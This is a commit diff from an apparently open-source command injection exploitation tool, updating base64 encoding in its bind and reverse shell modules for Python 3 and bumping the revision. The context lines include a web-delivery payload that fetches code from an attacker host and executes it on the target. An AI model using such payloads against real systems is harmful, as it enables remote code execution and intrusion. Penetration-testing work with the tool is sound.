Skip to content

Commit 0c6ba87

Browse files
committed
1 parent 83a8a59 commit 0c6ba87

File tree

3 files changed

+4
-4
lines changed

3 files changed

+4
-4
lines changed

src/core/shells/bind_tcp.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -408,7 +408,7 @@ def other_bind_shells(separator):
408408
with open (output, "r") as content_file:
409409
data = content_file.readlines()
410410
data = ''.join(data)
411-
data = base64.b64encode(data)
411+
data = base64.b64encode(data.encode(settings.UNICODE_ENCODING)).decode()
412412

413413
print(settings.SINGLE_WHITESPACE)
414414
# Remove the ouput file.

src/core/shells/reverse_tcp.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -446,7 +446,7 @@ def other_reverse_shells(separator):
446446
with open (output, "r") as content_file:
447447
data = content_file.readlines()
448448
data = ''.join(data)
449-
data = base64.b64encode(data)
449+
data = base64.b64encode(data.encode(settings.UNICODE_ENCODING)).decode()
450450

451451
print(settings.SINGLE_WHITESPACE)
452452
# Remove the ouput file.
@@ -633,7 +633,7 @@ def other_reverse_shells(separator):
633633

634634
if web_delivery == '1':
635635
data = "; r=_urllib.request.urlopen('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'); exec(r.read());"
636-
data = base64.b64encode(data)
636+
data = base64.b64encode(data.encode(settings.UNICODE_ENCODING)).decode()
637637
if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR:
638638
set_python_working_dir()
639639
other_shell = settings.WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))"

src/utils/settings.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -216,7 +216,7 @@ def sys_argv_errors():
216216
DESCRIPTION = "The command injection exploiter"
217217
AUTHOR = "Anastasios Stasinopoulos"
218218
VERSION_NUM = "3.3"
219-
REVISION = "42"
219+
REVISION = "43"
220220
STABLE_RELEASE = False
221221
if STABLE_RELEASE:
222222
VERSION = "v" + VERSION_NUM + "-stable"

0 commit comments

Comments
 (0)